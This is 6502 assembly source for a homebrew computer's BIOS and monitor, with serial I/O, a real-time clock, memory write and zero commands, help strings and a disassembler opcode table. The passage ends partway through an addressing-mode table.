print_lower_nibble: pha ; phy and #$0F ; Isolate LSB nibble tay ; Index A for second nibble lda hexascii,y ; Load ascii value according to index jsr print_char ; Print second nibble to terminal ply ; pla ; rts ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ ___ | |_ _ __ (_) _ __ __ _ ; | '_ \ | '__| | | | '_ \ | __| / __| | __| | '__| | | | '_ \ / _` | ; | |_) | | | | | | | | | | |_ \__ \ | |_ | | | | | | | | | (_| | ; | .__/ |_| |_| |_| |_| \__| _____ |___/ \__| |_| |_| |_| |_| \__, | ; |_| |_____| |___/ ; Print a string of any length to the ACIA ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Pass address of string in X (LOW BYTE) and Y (HIGH BYTE) ; VARIABLE: Using TEMP print_string: pha ; Save A stx TEMP ; Store address LSB of the string to print sty TEMP+1 ; Store address MSB of the string to print ldy #0 ; Clear pointer print_string_loop: lda (TEMP),y ; Load character pointed by Y beq print_string_end ; Once null character reached, end subroutine jsr print_char ; Print character iny ; Increment pointer bne print_string_loop ; If pointer didn't roll over to 0, print next character inc TEMP+1 ; Increment MSB to print a string longer then 256 characters bra print_string_loop ; Go read more characters print_string_end: pla ; Restore A rts ; Done ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ | |_ (_) _ __ ___ ___ ; | '_ \ | '__| | | | '_ \ | __| | __| | | | '_ ` _ \ / _ \ ; | |_) | | | | | | | | | | |_ | |_ | | | | | | | | | __/ ; | .__/ |_| |_| |_| |_| \__| _____ \__| |_| |_| |_| |_| \___| ; |_| |_____| ; Prints time ; ---------------------------------------------------------------------------------------------------------------------------------- ; INPUT: A 12 = 12 hour format (9:43 PM) ; 24 = 24 hour format (21:43:00) print_time: pha lda #$40 ; Bit 6 = Read bit sta RTC_CTRL ; Halt the timekeeper register to be able to read it pla cmp #12 ; Is it the 12 hour format? beq print_time12 ; Yes, then print 12 hour format time, else, print 24 hour format ; 24 HOUR FORMAT lda RTC_HOURS jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #":" jsr print_char lda RTC_SECONDS jsr print_byte bra print_time_end print_time12: ; 12 HOUR FORMAT lda RTC_HOURS cmp #$12 beq print_time_noon bcs print_time_pm ; Is time above noon? print_time_am: ;lda RTC_HOURS jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #" " jsr print_char lda #"A" jsr print_char lda #"M" jsr print_char bra print_time_end print_time_pm: sec ; Set carry for substraction sbc $12 ; Substract 12 from 24 hour format print_time_noon: jsr print_byte lda #":" jsr print_char lda RTC_MINUTES jsr print_byte lda #" " jsr print_char lda #"P" jsr print_char lda #"M" jsr print_char print_time_end: stz RTC_CTRL ; Resumes the timekeeper updates rts ; _ _ ; _ __ ___ __ _ __| | ___ | |__ __ _ _ __ ; | '__| / _ \ / _` | / _` | / __| | '_ \ / _` | | '__| ; | | | __/ | (_| | | (_| | | (__ | | | | | (_| | | | ; |_| \___| \__,_| \__,_| _____ \___| |_| |_| \__,_| |_| ; |_____| ; Read character from ACIA1 (non-waiting) ; ---------------------------------------------------------------------------------------------------------------------- ; OUTPUT: Carry bit clear = no character received. ; Carry bit set = character received in A. read_char: clc ; No character present lda ACIA1_STATUS ; Load ACIA1 status register and #$08 ; Is there a character in the buffer? beq read_char_end ; If not then end subroutine lda ACIA1_DATA ; Read character from ACIA buffer sec ; Set carry flag to indicate a character is available read_char_end: rts ; Done ; _ _ ; _ __ ___ __ _ __| | | |__ ___ __ __ ; | '__| / _ \ / _` | / _` | | '_ \ / _ \ \ \/ / ; | | | __/ | (_| | | (_| | | | | | | __/ > < ; |_| \___| \__,_| \__,_| _____ |_| |_| \___| /_/\_\ ; |_____| ; ; Convert two ASCII hexadecimal characters from serial terminal to 8-bit binary ; ---------------------------------------------------------------------------------------------------------------------- ; Result in A ; Destroys TEMP read_hex: jsr read_char ; Read first character from ACIA bcc read_hex ; If character not present, then read from ACIA again jsr nibble2numeric ; Convert to 0..F numeric asl a ; Shift value to MSB asl a ; asl a ; asl a ; This is the upper nibble and #$F0 ; Clear LSB sta TEMP ; Store MSB in TEMP for merging after processing LSB read_hex2: jsr read_char ; Read second character from ACIA bcc read_hex2 ; If character not present, then read from ACIA again jsr nibble2numeric ; Convert to 0..F numeric ora TEMP ; Merge MSB (TEMP) and LSB (A) rts ; return byte in A ; _ _ ; _ __ ___ __ _ __| | _ __ _ __ ___ _ __ ___ _ __ | |_ ; | '__| / _ \ / _` | / _` | | '_ \ | '__| / _ \ | '_ ` _ \ | '_ \ | __| ; | | | __/ | (_| | | (_| | | |_) | | | | (_) | | | | | | | | |_) | | |_ ; |_| \___| \__,_| \__,_| _____ | .__/ |_| \___/ |_| |_| |_| | .__/ \__| ; |_____| |_| |_| ; Read string from command prompt from input device ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: n/a ; OUTPUT: Carry bit clear = no string recorded ; Carry bit set = string in IN_BUFFER read_prompt: ldy #0 ; Set input buffer to 0 read_prompt_readchar: jsr read_char ; Get a character from the terminal, if available bcs read_prompt_interpret ; If one is present, interpret keystroke bra read_prompt_readchar ; Loop until one is present read_prompt_interpret: cmp #CR ; Is it the Carriage Return key? beq read_prompt_printCR ; Yes, then end string read ** cmp #BS ; Is it the Backspace key? beq read_prompt_backspace ; Yes, then delete previous character cmp #ESC ; Is it the Escape key? beq read_prompt_escape ; Yes! bmi read_prompt_readchar ; Don't accept ASCII character above or equal to 128? cpy #33 ; Has it reached 33 characters? bne read_prompt_storechar ; Get next character, but if above 127 characters, auto escape bra read_prompt_backspace ; Erase last character, as to not type more. read_prompt_escape: jsr delete_char ; delete characters up to beginning of line bra read_prompt_readchar ; Indicates there is no data in buffer read_prompt_backspace: cpy #0 ; Is it the first character in the string? beq read_prompt_readchar ; No characters present, go get a new character dey ; Decrement text index lda #BS ; Go back one character, jsr print_char ; in terminal lda #" " ; Go overwite previous character, jsr print_char ; in terminal lda #BS ; Go back one character again, jsr print_char ; in terminal bra read_prompt_readchar ; Go read next character read_prompt_storechar: jsr print_char ; Print character on terminal sta IN_BUFFER,y ; Add to the text buffer iny ; Increment buffer temporary pointer bra read_prompt_readchar ; No? Read another character read_prompt_printCR: jsr print_char ; Print carriage return ; cpy #0 ; bne read_prompt_normal_CR ; bra read_prompt_end read_prompt_normal_CR: lda #0 ; Add a null sta IN_BUFFER,y ; To the input buffer string read_prompt_end: sec ; Indicates there is data in input buffer rts ; _ _ ; _ __ ___ __ _ (_) ___ | |_ ___ _ __ ___ ; | '__| / _ \ / _` | | | / __| | __| / _ \ | '__| / __| ; | | | __/ | (_| | | | \__ \ | |_ | __/ | | \__ \ ; |_| \___| \__, | |_| |___/ \__| \___| |_| |___/ ; |___/ ; Prints the registers and processor status ; ---------------------------------------------------------------------------------------------------------------------- registers: ; PRINT THE PROGRAM COUNTER lda #"P" ; P for the program counter jsr print_char ; Print it lda #"C" ; C for the program counter jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_PC+1 ; Load MSB jsr print_byte ; lda PROC_PC ; Load LSB jsr print_byte lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE ACCUMULATOR lda #"A" ; A for the accumulator jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_A ; Load the A register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE X REGISTER lda #"X" ; X for the X register jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_X ; Load the X register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE Y REGISTER lda #"Y" ; Y for the Y register jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_Y ; Load the Y register jsr print_byte ; Print it lda #" " ; Space for the separator jsr print_char ; Print it ; PRINT THE STATUS FLAGS lda #"F" ; F for FLAGS jsr print_char ; Print it lda #":" ; Colon for the separator jsr print_char ; Print it lda PROC_FLAGS ; Load status register and #$80 ; Filter bit 7 (negative) beq p_neg1 lda #"n" bra p_neg2 p_neg1: lda #"N" p_neg2: jsr print_char ; Print N/n" lda PROC_FLAGS ; Load status register and #$40 ; Filter bit 6 (overflow) beq p_ovr1 lda #"v" bra p_ovr2 p_ovr1: lda #"V" p_ovr2: jsr print_char ; Print V/v lda PROC_FLAGS ; Load status register and #$20 ; Filter bit 5 beq p_b1 lda #"b" bra p_b2 p_b1: lda #"B" p_b2: jsr print_char ; Print B/b lda PROC_FLAGS ; Load status register and #$10 ; Filter bit 4 beq p_b3 lda #"b" bra p_b4 p_b3: lda #"B" p_b4: jsr print_char ; Print B/b lda PROC_FLAGS ; Load status register and #$08 ; Filter bit 3 (Decimal) beq p_dec1 lda #"d" bra p_dec2 p_dec1: lda #"D" p_dec2: jsr print_char ; Print D/d lda PROC_FLAGS ; Load status register and #$04 ; Filter bit 2 (Interrupt) beq p_int1 lda #"i" bra p_int2 p_int1: lda #"I" p_int2: jsr print_char ; Print I/i lda PROC_FLAGS ; Load status register and #$02 ; Filter bit 1 (Zero) beq p_zer1 lda #"z" bra p_zer2 p_zer1: lda #"Z" p_zer2: jsr print_char ; Print Z/z lda PROC_FLAGS ; Load status register and #$01 ; Filter bit 0 (Carry) beq p_car1 lda #"c" bra p_car2 p_car1: lda #"C" p_car2: jsr print_char ; Print C/c lda #CR jsr print_char ; Print carriage return rts ; _ _ ; ___ | | __ (_) _ __ ___ _ __ __ _ ___ ___ ___ ; / __| | |/ / | | | '_ \ / __| | '_ \ / _` | / __| / _ \ / __| ; \__ \ | < | | | |_) | \__ \ | |_) | | (_| | | (__ | __/ \__ \ ; |___/ |_|\_\ |_| | .__/ _____ |___/ | .__/ \__,_| \___| \___| |___/ ; |_| |_____| |_| ; ; Skip spaces from INPUT_BUFFER at current index IN_BUFFER_PTR ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Y (current position) ; OUTPUT: Y (new position) skip_spaces: pha skip_spaces_loop: lda IN_BUFFER,y ; Load character cmp #" " ; Is it a space? bne skip_spaces_end ; Not a space? Then end subroutine iny ; Increment index for next character inc ERROR_PTR ; Increment pointer to next potential error location bra skip_spaces_loop ; Go and read another character skip_spaces_end: pla rts ; _ _ _ __ _ __ ___ _ __ ___ __ _ ___ ___ ; | | | | | '_ \ | '_ \ / _ \ | '__| / __| / _` | / __| / _ \ ; | |_| | | |_) | | |_) | | __/ | | | (__ | (_| | \__ \ | __/ ; \__,_| | .__/ | .__/ \___| |_| \___| \__,_| |___/ \___| ; |_| |_| ; Convert character in A to uppercase ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: A, anycase ; OUTPUT: A, UPPERCASE uppercase: cmp #"a" ; Is value less the "a"? bcc uppercase_end ; Then end subroutine cmp #"z"+1 ; Is value higher then "z"? bcs uppercase_end ; Then end subroutine and #%11011111 ; Substract $20 (5th bit) from the ASCII value uppercase_end: rts ; _ _ _ _ ; __ __ (_) __ _ (_) _ __ (_) | |_ ; \ \ / / | | / _` | | | | '_ \ | | | __| ; \ V / | | | (_| | | | | | | | | | | |_ ; \_/ |_| \__,_| _____ |_| |_| |_| |_| \__| ; |_____| ; ; Initialize the VIA ; ---------------------------------------------------------------------------------------------------------------------- via_init: ; VIA1 INITIALIZATION ; ------------------- ; SET DATA DIRECTION OF VIA1 PORTA FOR RS DATA IN, AND LED OUTPUTS lda #%11111000 ; Life LED, NC, LED C-B-A, RS2, RS1, RS0 sta VIA1_DDRA ; Set PORTA as input (for shift registers) stz VIA1_PORTA ; Clear outputs ; SET DATA DIRECTION OF VIA1 PORTB FOR 8-BIT MCU INPUT lda #%00000000 ; Set all to input for MCU D0..D7 sta VIA1_DDRB ; Set PORTB direction ; INITIALIZE VIA1_PCR lda #%00000000 ; Select Negative Edge for CA1 (0 on bit 0) sta VIA1_PCR ; Store it in the Peripheral Control Register ; INTIALIZE VIA1 TIMER #1 (CPU Clock @ 2MHz) lda #%01000000 ; Timer 1 continuous interrupts sta VIA1_ACR ; Store it in the Auxiliary Control Register lda #$4E ; Set timer ticks to 50ms, 50,000 clock cycles - 2 ($C34E) sta VIA1_T1CL ; Store in low counter lda #$C3 ; Load high byte sta VIA1_T1CH ; Storing high byte, latches and starts countdown of T1 ; SETS INTERRUPTS lda #%11000010 ; Enable TIMER1 & CA1 interrupts sta VIA1_IER ; Store it in the Interrupt Enable Register rts ; _ _ ; __ __ _ __ (_) | |_ ___ _ __ ___ ___ _ __ ___ ; \ \ /\ / / | '__| | | | __| / _ \ | '_ ` _ \ / _ \ | '_ ` _ \ ; \ V V / | | | | | |_ | __/ | | | | | | | __/ | | | | | | ; \_/\_/ |_| |_| \__| \___| _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Writes a byte or a series of consecutive bytes at current address ; ---------------------------------------------------------------------------------------------------------------------- ; DESTROYS: A, TEMP, SRC_ADDR ; RETURNS: CUR_ADDR, current address position write_mem: ; IS THERE A PARAMETER? lda IN_BUFFER,y ; Read a character from the input buffer bne write_mem_delimeter ; If not empty, check for parameters jsr no_parameter ; If empty, print no parameters message bra write_mem_end ; End routine write_mem_delimeter: cmp #" " ; Is the it a space delimiter? beq write_mem_start_addr ; If it is, then get the start address jsr syntax_error bra write_mem_end ; End routine write_mem_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs write_mem_store_start ; Valid word is present, store address jsr invalid_address ; Print invalid address bra write_mem_end ; End routine write_mem_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta CUR_ADDR+1 ; Store it in the current address (MSB) write_mem_get_byte: ; GET BYTE jsr skip_spaces ; Skip leading spaces jsr get_byte ; Get address from input buffer, result in A bcs write_mem_store_byte ; It's valid, write the byte jsr invalid_parameter ; It's not valid, so write error message bra write_mem_end ; End routine write_mem_store_byte: ; WRITE THE BYTE, AND VERIFY IT sta TEMP ; Save byte to compare it later sta (CUR_ADDR) ; Store it in specified memory location lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the original byte beq write_mem_loop_bytes ; If it matches, read next byte if there are any jsr write_error ; Since it doesn't match, print write error bra write_mem_end ; End routine write_mem_loop_bytes: ; IF THERE ARE MORE BYTES, WRITE THEM jsr inc_cur_addr ; Increment current address position for next byte lda IN_BUFFER,y ; Read a character from the input buffer beq write_mem_end ; Yes it is, then end routine cmp #" " ; Is the it a space delimiter? beq write_mem_get_byte ; It is, then get the byte jsr invalid_parameter ; Print an error if parameter is invalid write_mem_end: rts ; ____ ___ _ __ ___ _ __ ___ ___ _ __ ___ ; |_ / / _ \ | '__| / _ \ | '_ ` _ \ / _ \ | '_ ` _ \ ; / / | __/ | | | (_) | | | | | | | | __/ | | | | | | ; /___| \___| |_| \___/ _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Writes zeros in all memory locations and resets ; ---------------------------------------------------------------------------------------------------------------------- zero_mem: ; ZERO PAGE ;---------- sei ldx #<zero_clearing_zp ; Get LSB address of msg ldy #>zero_clearing_zp ; Get MSB address of msg jsr print_string ; Write message ldx #$00 ; Reset pointer zero_zeropage: stz $00,x ; Zero out address $0000 + X inx ; Point to next memory location bne zero_zeropage ; Loop until X reaches zero ; STACK PAGE ; ---------- ldx #<zero_clearing_stack ; Get LSB address of msg ldy #>zero_clearing_stack ; Get MSB address of msg jsr print_string ; Write message tsx ; Load current stack pointer (not $FF) dex dex zero_stackpage: stz $0100,x ; Zero out address $0100 + X dex ; Point to the next memory location bne zero_stackpage ; Loop until X reaches zero stz $0100 ; Make sure $0100 is cleared cli ; ; SYSTEM RAM ; ---------- ldx #<zero_clearing_ram ; Get LSB address of msg ldy #>zero_clearing_ram ; Get MSB address of msg jsr print_string ; Write message lda #$02 ; Start at page 2 sta CUR_ADDR+1 ; Store page 2 value at MSB current address stz CUR_ADDR ; LSB is at 0 zero_sysram_loop: lda #0 sta (CUR_ADDR) ; Clear byte pointed by current address lda #>END_RAM ; Has it reached end of RAM (MSB)? cmp CUR_ADDR+1 ; bne zero_sysram_continue ; No, then continue on to the next address lda #<END_RAM ; Has it reached end of RAM (LSB)? cmp CUR_ADDR ; beq zero_bankram zero_sysram_continue: jsr inc_cur_addr bra zero_sysram_loop ; BANK RAM ; -------- zero_bankram: ldx #<zero_clearing_bank ; Get LSB address of msg ldy #>zero_clearing_bank ; Get MSB address of msg jsr print_string ; Write message ldx #NUMBER_OF_BANKS ; Set x to the total number of banks zero_bankram_nextbank: stx BANK_SEL ; Set bank selector stx BIN jsr bin2bcd8 lda BCD jsr print_byte ; Print space ; SET START ADDRESS lda #>START_BANKRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) lda #<START_BANKRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) zero_bankram_loop: lda #0 sta (CUR_ADDR) ; Clear byte pointed by current address ; CHECK FOR END ADDRESS lda #>END_BANKRAM ; Has it reached end of RAM (MSB)? cmp CUR_ADDR+1 ; bne zero_bankram_continue ; No, then continue on to the next address lda #<END_BANKRAM ; Has it reached end of RAM (LSB)? cmp CUR_ADDR ; beq zero_bankram_bankchange ; go to next bank zero_bankram_continue: jsr inc_cur_addr bra zero_bankram_loop zero_bankram_bankchange: ldy #2 ; Set backspace counter to 3 jsr delete_char ; Delete 2 characters from terminal dex bne zero_bankram_nextbank ; bank 0 is tested when first iteration is done (i.e. 64 = %01000000) ldy #7 ; Set backspace counter to 3 jsr delete_char ; Delete 7 characters from terminal lda #CR jsr print_char ; NVRAM (Is not zeroed out, as it's used for semi-permanenet storage. Use "fill_mem" to zero it out manually) ; ----- ldx #<zero_clearing_nvram ; Get LSB address of msg ldy #>zero_clearing_nvram ; Get MSB address of msg jsr print_string ; Write message zero_end: rts ; ------------------------------------------------------------------------------------------------------------------------------- command_prompt: lda CUR_ADDR+1 ; Display current address MSB jsr print_byte ; lda CUR_ADDR ; Display current address LSB jsr print_byte ; lda #">" ; Display prompt symbol jsr print_char ; lda #" " ; Display a space jsr print_char ; lda #6 ; Number of characters taken by the prompt sta ERROR_PTR ; Store it as default value for error pointer rts error_pointer: ldx ERROR_PTR error_pointer_loop: lda #" " jsr print_char dex bne error_pointer_loop lda #"^" jsr print_char lda #CR jsr print_char rts no_parameter: ldx #<no_parameter_msg ; Get LSB address ldy #>no_parameter_msg ; Get MSB address jsr print_string ; Write message rts ; End subroutine invalid_address: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_addr_msg ; Get LSB address of msg ldy #>invalid_addr_msg ; Get MSB address of msg jsr print_string ; Write message rts invalid_parameter: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_param_msg ; Get LSB address of msg ldy #>invalid_param_msg ; Get MSB address of msg jsr print_string ; Write message rts invalid_command: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_command_msg ; Get LSB address of msg ldy #>invalid_command_msg ; Get MSB address of msg jsr print_string ; Write message rts syntax_error: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<syntax_error_msg ; Get LSB address of msg ldy #>syntax_error_msg ; Get MSB address of msg jsr print_string ; Write message rts write_error: ldx #<write_error_msg ; Get LSB address of msg ldy #>write_error_msg ; Get MSB address of msg jsr print_string ; Write message rts ; End subroutine day: .byte 1, "Sunday", 0, 2, "Monday", 0, 3, "Tuesday", 0, 4, "Wednesday", 0, 5, "Thursday", 0, 6, "Friday", 0, 7, "Saturday", 0, $FF month: .byte $01, "January", 0, $02, "February", 0, $03, "March", 0, $04, "April", 0, $05, "May", 0, $06, "June", 0, $07, "July", 0 .byte $08, "August", 0, $09, "September", 0, $10, "October", 0, $11, "November", 0, $12, "December", 0, $FF welcome_msg: .byte "MH6502-3 @ 2MHz, BIOS v3.03", CR .byte "32K ROM, 20+8K RAM, 512K BANK, 2K NVRAM", CR, 0 hexascii: .byte "0123456789ABCDEF",0 invalid_addr_msg: .byte "Invalid address!", CR, 0 invalid_param_msg: .byte "Invalid parameter!", CR, 0 write_error_msg: .byte "Write failed!", CR, 0 no_parameter_msg: .byte "No parameter was specified.", CR, 0 invalid_command_msg: .byte "Invalid command!",CR, 0 syntax_error_msg: .byte "Syntax error!",CR, 0 date_error: .byte "Invalid date format!",CR, 0 time_error: .byte "Invalid time format!",CR, 0 cant_write_address: .byte "Cannot write to address $", 0 zero_clearing_zp: .byte "Zeroing ZP",CR,0 zero_clearing_stack: .byte "Zeroing unused stack",CR,0 zero_clearing_ram: .byte "Zeroing system RAM",CR,0 zero_clearing_bank: .byte "Zeroing bank RAM: bank ",0 zero_clearing_nvram: .byte "NVRAM not zeroed to preserve data",CR,0 mem_io_map_msg: .byte CR, "MEMORY MAP:", CR .byte "-----------", CR .byte " RAM: $0000-$55FF (20K)", CR .byte " BRAM: $5600-$75FF (512K, 8K pages)", CR .byte " NVRAM: $7800-$7FF7 (2K)", CR .byte " ROM: $8000-$FFFF (32K)", CR .byte CR, "I/O MAP:", CR .byte "--------", CR .byte " ACIA1: $7700-$7003 (DTE)", CR .byte " ACIA2: $7704-$7007 (DCE)", CR .byte " ACIA3: $7708-$700B (TTL)", CR .byte " P_INT: $770E (Priority Interrupt)", CR .byte " BANK: $770F (Bank select)", CR .byte " VIA1: $7010-$701F (PS/2 & NES)", CR .byte " VIA2: $7020-$702F (LCD)", CR .byte " RTC: $7FF8-$7FFF (Clock)", CR, CR, 0 help_msg: .byte CR, "HELP", CR .byte "----", CR .byte "<ENTER>: Repeat last command", CR .byte "$: Change current address", CR .byte "!: Display memory & I/O map", CR .byte "?: Display help", CR .byte "Assemble: Assemble code", CR .byte "Basic: Enhanced Basic interpreter", CR .byte "Clock: Set and display time & date", CR .byte "Disassemble: Disassemble code", CR .byte "Fill: Fill a region of memory", CR .byte "Go: Execute a program", CR .byte "Hunt: Hunt for a sequence", CR .byte "Load: Load program", CR .byte "Memory: Display content of memory", CR .byte "Registers: Display & modify registers", CR .byte "Save: Save program", CR .byte "Test: Test memory (Diagnostics)", CR .byte "Write: Write byte(s) to memory", CR .byte "Zero: Zero out the RAM", CR, CR, 0 help_address_msg: .byte CR, "SET CURRENT ADDRESS", CR .byte "-------------------", CR .byte " Set current address pointer", CR, CR .byte " > $ [AAAA] defaults to 0000", CR, CR, 0 help_assemble_msg: .byte CR, "ASSEMBLE", CR .byte "--------", CR .byte " Assemble to machine language", CR, CR .byte " > A [1000] lda $12", CR, CR, 0 help_basic_msg: .byte CR, "BASIC", CR .byte "-----", CR .byte "Enhanced BASIC, version 2.22p5", CR, CR .byte " > B", CR, CR, 0 help_clock_msg: .byte CR, "CLOCK", CR .byte "-----", CR .byte " Set or read date &time", CR, CR .byte " > C [YY-MM-DD HH:MM:SS]", CR, CR, 0 help_disassemble_msg: .byte CR, "DISASSEMBLE", CR .byte "-----------", CR .byte " Disassemble a portion of memory", CR, CR .byte " > D [AAAA] defaults to prompt", CR, CR, 0 help_go_msg: .byte CR, "GO", CR .byte "--", CR .byte " Runs code at a specific address", CR, CR .byte " > G [AAAA] defaults to prompt", CR, CR, 0 help_fill_msg: .byte CR, "FILL", CR .byte "----", CR .byte " Fill a region of memory with a byte", CR, CR .byte " > F SSSS EEEE HH", CR, CR, 0 help_hunt_msg: .byte CR, "HUNT", CR .byte "----", CR .byte " Find bytes or string in memory", CR, CR .byte " > H [SSSS] HH [HH] [HH] ... [HH]", CR .byte ' > H [SSSS] "STRING"', CR, CR, 0 help_iomap_msg: .byte CR, "MEMORY & I/O MAP", CR .byte "----------------", CR .byte " Displays the memory map", CR, CR .byte " > !", CR, CR, 0 help_load_msg: .byte CR, "LOAD", CR .byte "----", CR .byte " Load code from computer via Intel Hex", CR, CR .byte " > L", CR, CR, 0 help_registers_msg: .byte CR, "REGISTERS", CR .byte "---------", CR .byte " Prints the CPU's status and registers", CR, CR .byte " > R", CR, CR, 0 help_memory_msg: .byte CR, "MEMORY", CR .byte "------", CR .byte " Displays a portion of memory", CR, CR .byte " > M [AAAA] defaults to prompt", CR, CR, 0 help_save_msg: .byte CR, "SAVE", CR .byte "----", CR .byte " Save code or data to computer", CR, CR .byte " > S [SSSS]", CR, CR, 0 help_test_msg: .byte CR, "TEST", CR .byte "----", CR .byte " Tests all memory", CR, CR .byte " > T", CR, CR, 0 help_write_msg: .byte CR, "WRITE", CR .byte "-----", CR .byte " Writes a or many bytes to RAM", CR, CR .byte " > W AAAA HH [HH] [HH] ... [HH]", CR, CR, 0 help_zero_msg: .byte CR, "ZERO", CR .byte "----", CR .byte " Writes zeros in RAM", CR, CR .byte " > Z", CR, CR, 0 help_not_valid_msg: .byte "Help command not recognized!", CR, 0 diag_zeropage_msg: .byte "Testing ZeroPage $0000-00FF:", 0 diag_stack_msg: .byte "Testing Stack $0100-01FF:", 0 diag_ramtest_msg: .byte "Testing Sytem RAM $", 0 diag_bankramtest_msg: .byte "Testing Bank RAM $", 0 diag_nvramtest_msg: .byte "Testing 2K NVRAM $", 0 diag_ram_error_msg: .byte " Error at ", 0 diag_ram_error2_msg: .byte ", expected ", 0 diag_skip_test_msg: .byte CR, "skipping test ", CR, 0 starthex: .byte "Send 6502 code in Intel Hex format.",CR,"Press ESC to cancel.",CR,0 transferaborted: .byte "Transfer aborted by user.",CR,0 unknownrecordtype: .byte CR,"Unknown record type $",0 badrecordchecksum: .byte CR,"Bad record checksum!",CR,0 downloadfailed: .byte CR,"Download Failed",CR,"Aborting!",CR,0 downloadsuccessful: .byte CR,"Download Successful!",CR,0 dis_mnemonic_blk1: .byte "brk ", "ora ", "??? ", "??? ", "tsb ", "ora ", "asl ", "rmb0" ; $00-$07 .byte "php ", "ora ", "asl ", "??? ", "tsb ", "ora ", "asl ", "bbr0" ; $08-$0F .byte "bpl ", "ora ", "ora ", "??? ", "trb ", "ora ", "asl ", "rmb1" ; $10-$17 .byte "clc ", "ora ", "inc ", "??? ", "trb ", "ora ", "asl ", "bbr1" ; $18-$1F .byte "jsr ", "and ", "??? ", "??? ", "bit ", "and ", "rol ", "rmb2" ; $20-$27 .byte "plp ", "and ", "rol ", "??? ", "bit ", "and ", "rol ", "bbr2" ; $28-$2F .byte "bmi ", "and ", "and ", "??? ", "bit ", "and ", "rol ", "rmb3" ; $30-$37 .byte "sec ", "and ", "dec ", "??? ", "bit ", "and ", "rol ", "bbr3" ; $38-$3F dis_mnemonic_blk2: .byte "rti ", "eor ", "??? ", "??? ", "??? ", "eor ", "lsr ", "rmb4" ; $40-$47 .byte "pha ", "eor ", "lsr ", "??? ", "jmp ", "eor ", "lsr ", "bbr4" ; $48-$4F .byte "bvc ", "eor ", "eor ", "??? ", "??? ", "eor ", "lsr ", "rmb5" ; $50-$57 .byte "cli ", "eor ", "phy ", "??? ", "??? ", "eor ", "lsr ", "bbr5" ; $58-$5F .byte "rts ", "adc ", "??? ", "??? ", "stz ", "adc ", "ror ", "rmb6" ; $60-$67 .byte "pla ", "adc ", "ror ", "??? ", "jmp ", "adc ", "ror ", "bbr6" ; $68-$6F .byte "bvs ", "adc ", "adc ", "??? ", "stz ", "adc ", "ror ", "rmb7" ; $70-$77 .byte "sei ", "adc ", "ply ", "??? ", "jmp ", "adc ", "ror ", "bbr7" ; $78-$7F dis_mnemonic_blk3: .byte "bra ", "sta ", "??? ", "??? ", "sty ", "sta ", "stx ", "smb0" ; $80-$87 .byte "dey ", "bit ", "txa ", "??? ", "sty ", "sta ", "stx ", "bbs0" ; $88-$8F .byte "bcc ", "sta ", "sta ", "??? ", "sty ", "sta ", "stx ", "smb1" ; $90-$97 .byte "tya ", "sta ", "txs ", "??? ", "stz ", "sta ", "stz ", "bbs1" ; $98-$9F .byte "ldy ", "lda ", "ldx ", "??? ", "ldy ", "lda ", "ldx ", "smb2" ; $A0-$A7 .byte "tay ", "lda ", "tax ", "??? ", "ldy ", "lda ", "ldx ", "bbs2" ; $A8-$AF .byte "bcs ", "lda ", "lda ", "??? ", "ldy ", "lda ", "ldx ", "smb3" ; $B0-$B7 .byte "clv ", "lda ", "tsx ", "??? ", "ldy ", "lda ", "ldx ", "bbs3" ; $B8-$BF dis_mnemonic_blk4: .byte "cpy ", "cmp ", "??? ", "??? ", "cpy ", "cmp ", "dec ", "smb4" ; $C0-$C7 .byte "iny ", "cmp ", "dex ", "wai ", "cpy ", "cmp ", "dec ", "bbs4" ; $C8-$CF .byte "bne ", "cmp ", "cmp ", "??? ", "??? ", "cmp ", "dec ", "smb5" ; $D0-$D7 .byte "cld ", "cmp ", "phx ", "stp ", "??? ", "cmp ", "dec ", "bbs5" ; $D8-$DF .byte "cpx ", "sbc ", "??? ", "??? ", "cpx ", "sbc ", "inc ", "smb6" ; $E0-$E7 .byte "inx ", "sbc ", "nop ", "??? ", "cpx ", "sbc ", "inc ", "bbs6" ; $E8-$EF .byte "beq ", "sbc ", "sbc ", "??? ", "??? ", "sbc ", "inc ", "smb7" ; $F0-$F7 .byte "sed ", "sbc ", "plx ", "??? ", "??? ", "sbc ", "inc ", "bbs7" ; $F8-$FF dis_addressing: .byte IMP, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZP , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , ABS, ABX, ABX, ZPR .byte ABS, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , ABX, ABX, ABX, ZPR .byte IMP, IZX, 0 , 0 , 0 , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, 